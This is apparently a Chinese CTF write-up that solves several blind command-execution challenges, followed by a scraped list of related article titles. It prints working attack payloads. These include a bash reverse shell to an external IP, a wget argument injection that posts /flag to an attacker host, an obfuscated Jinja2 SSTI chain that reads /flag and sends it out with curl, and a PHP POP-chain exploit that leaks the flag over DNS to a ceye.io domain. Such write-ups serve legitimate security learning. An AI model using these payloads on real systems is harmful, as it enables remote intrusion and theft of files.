自从打完Geek challenge后发现现在的很多题都趋于一种无回显getshell的形式,像反序列化、SSTI、RCE、代码审计等题目都会出现,记录几道复现出的无回显getshell

where_is_my_FUMO(反弹shell)

<?php
function chijou_kega_no_junnka($str) {$black_list = [">", ";", "|", "{", "}", "/", " "];return str_replace($black_list, "", $str);
}if (isset($_GET['DATA'])) {$data = $_GET['DATA'];$addr = chijou_kega_no_junnka($data['ADDR']);$port = chijou_kega_no_junnka($data['PORT']);exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {highlight_file(__FILE__);
}

可以通过数组传参绕过$data[‘ADDR’],exec处可以反弹shell

1.14.102.22:8115/?DATA[ADDR]=49.232.76.14&DATA[PORT]=4001

这样就可以把shell反弹到对应的ip端口,再用vps监听对应端口

nc -lvvp 4001

但是因为题目中,bash反弹shell写法,只能将命令从攻击机传到受害着,执行命令后没有回显就需要反弹给可回显的其他端口

bash -i >& /dev/tcp/49.232.76.14/4000 0>&1

监听端口,拿到shell,发现根目录flag.png

cat flag.png | base64

base64转图片得到flag

2021陇原战疫CheckIN

Go的代码审计题

wget路由中存在参数注入

wget?argv=1&argv=--post-file&argv=/flag&argv=http://49.232.76.14:4000

nc -lvvp 4000

ctfshow web372(SSTI)

过滤过滤引号、args、中括号、下划线、os、花括号、request、数字、print、count

print禁用了,可以curl外带;count禁用可以用length

payload:

?name=
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,cccc,ccccccccc,point,cc,ccc,cc,point,ccccccc,cccccc,point,c,cccc,maohao,cccc,c-c,c-c,c-c,xiegang,result)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}

baby pop(反序列化)

<?php
class a {public static $Do_u_like_JiaRan = false;public static $Do_u_like_AFKL = false;
}
class b {private $i_want_2_listen_2_MaoZhongDu;public function __toString(){if (a::$Do_u_like_AFKL) {return exec($this->i_want_2_listen_2_MaoZhongDu);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}
class c {public function __wakeup(){a::$Do_u_like_JiaRan = true;}
}
class d {public function __invoke(){a::$Do_u_like_AFKL = true;return "关注嘉然," . $this->value;}
}
class e {public function __destruct(){if (a::$Do_u_like_JiaRan) {($this->afkl)();} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}
if (isset($_GET['data'])) {unserialize(base64_decode($_GET['data']));
} else {highlight_file(__FILE__);
}

b类中有exec函数,可以执行命令,但需要调用__toString__方法

d类中return可以触发,从而调用__toString__,但前提是调用__invoke__

可以通过e类($this->afkl)(),让对象当做函数执行,调用invoke,但需要通过if判断,默认值是false

所以通过c类将其值改为true即可

EXP

<?php
class b {private $i_want_2_listen_2_MaoZhongDu;public function __construct(){$this->i_want_2_listen_2_MaoZhongDu="curl `cat /flag|base64`.k5hf4g.ceye.io";}
}
class c {public $a;public function __construct(){$this->a=new e();}
}
class d {public $value;public function __construct(){$this->value=new b();}
}
class e {public $afkl;public function __construct(){$this->afkl=new d();}
}
$a=new c();
echo base64_encode(serialize($a));

这里用的是ceye,因为dnslog不识别大小写得到的base编码无法正常解密

base64解密得到flag

无回显getshell相关推荐

  1. 浅谈PHP无回显命令执行的利用

    本文首发于先知社区 前言 在CTF题或在一些渗透测试中往往会遇到没有回显的命令执行漏洞,为了能更好的实现对无回显命令执行漏洞的利用,我对此进行了简单总结. 判断方法 命令执行可能会存在命令执行但没有回 ...

  2. python处理回显_Python中getpass模块无回显输入源码解析

    本文主要讨论了python中getpass模块的相关内容,具体如下. getpass模块 昨天跟学弟吹牛b安利Python标准库官方文档的时候偶然发现了这个模块.仔细一看内容挺少的,只有两个主要api ...

  3. 命令执行无回显的一些姿势

    前言 最近演练遇到了拿shell后,由于是延时注入,让我极其难受.于是,学习了一下命令执行无回显的一些姿势 windows环境 1.ping %USERNAME%.2plmqc.dnslog.cn 这 ...

  4. Python实现“按任意键返回”和无回显输入

    功能描述: 在某些应用场景中,需要实现"按任意键返回"这样的功能,在Python中如果使用内置函数input()的话必须有个回车键才表示输入结束,不够完美. 在msvrct标准库中 ...

  5. 翻译文章 | Just gopher it!无回显SSRF升级为RCE

    前言: 发现此漏洞的bug bounty团队不允许公开披露,因此我不会直接命名所涉及的程序. 我能说的是,这是在Hackerone运行时间最长.规模最大的bug赏金活动中发现的.多个Hackerone ...

  6. mysql注入 无回显_33. 注入信息无回显?(给盲注戴上眼镜)

    注入信息无回显?(给盲注戴上眼镜) 工具简介: 平常的漏洞检测或漏洞利用需要进一步的用户或系统交互.但是一些漏洞类型没有直接表明攻击是成功的.如Payload触发了却不在前端页面显示.(像ssrf,X ...

  7. mysql注入 无回显_XML外部实体注入2:无回显的XXE

    生如夏花之绚烂,死如秋叶之静美. -- 泰戈尔 <生如夏花> 0 1 XML基础 XML 首先要先说下 xml.xml 是一种可扩展的标记语言,主要就是用来传输数据的,你可以理解为就是一种 ...

  8. 84.网络安全渗透测试—[SQL注入篇23]—[高级注入技巧-dnslog无回显注入]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.高级注入技巧 dnslog无回显注入 1.原理 2.dnslog平台 3.MySQL dnslog无回显注入 ...

  9. RCE篇之无回显rce

    原文链接:http://arsenetang.com/2021/07/23/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%9B%9E%E6%98%BErce/ RCE篇之无回显r ...

最新文章

  1. 目前网络上开源的网络爬虫以及一些简介和比较
  2. OpenCvSharp_FindContours函数参数详解
  3. 链表一元多项式计算器的实现(Java语言描述)
  4. c语言中的目标程序的正确含义,C语言程序设计练习题整理要点.doc
  5. 如何在Kali Linux中安装Google Chrome浏览器
  6. SAP UI5 初学者教程之三:开始接触第一个 SAP UI5 控件 试读版
  7. it计算机哪些专业术语,IT之家学院:笔记本电脑专业术语科普
  8. 带你认识大模型训练关键算法:分布式训练Allreduce算法
  9. 【Kafka】《Kafka权威指南》入门
  10. 终于在五一之前打了SP3
  11. 【matlab】GPU 显卡版本与计算能力(compute capability)兼容性问题
  12. php写接口时应该用return还是echo返回数据
  13. 设计模式-4.行为型模式(模板方法模式/策略模式/命令模式/职责链模式/状态模式/观察者模式/中介者模式/迭代器模式/访问者模式/备忘录模式/解释器模式)
  14. 余额宝收益用计算机该怎么算,余额宝收益计算器怎么用
  15. 魅族手机开机出现Android,魅族开不了机怎么办?如何解决?
  16. 基于ASP.NET小微企业人力资源管理系统
  17. 多传感器数据融合算法综述
  18. html5网页中用video标签无法播放MP4视频的解决方法
  19. 非关系型数据库NoSQL的崛起
  20. “玛莎拉蒂狂撞宝马”最新后续:你以为的富养,99%都是错的!

热门文章

  1. 论文阅读--A Tutorial on Stance Detection
  2. Microsoft发布了Azure Bot Service和LUIS的GA版
  3. 解决电脑频繁跳出 已停止工作,出现了一个问题,导致程序停止正常工作,请关闭该程序...
  4. 【GIS前沿】周成虎院士:GIS的大数据时代展望(PPT分享)
  5. bash shell sleep_Bash休眠(sleep命令)
  6. 大数据分析完28个省会城市后,我们发现存在感最低的省会城市竟是......
  7. 异常exception与error-code
  8. WordPress 古腾堡编辑器将如何影响企业?
  9. Java实现 泊松分酒
  10. 小程序日期格式(yyyy-MM-dd HH:mm:ss)转(yyyy/MM/dd HH:mm:ss)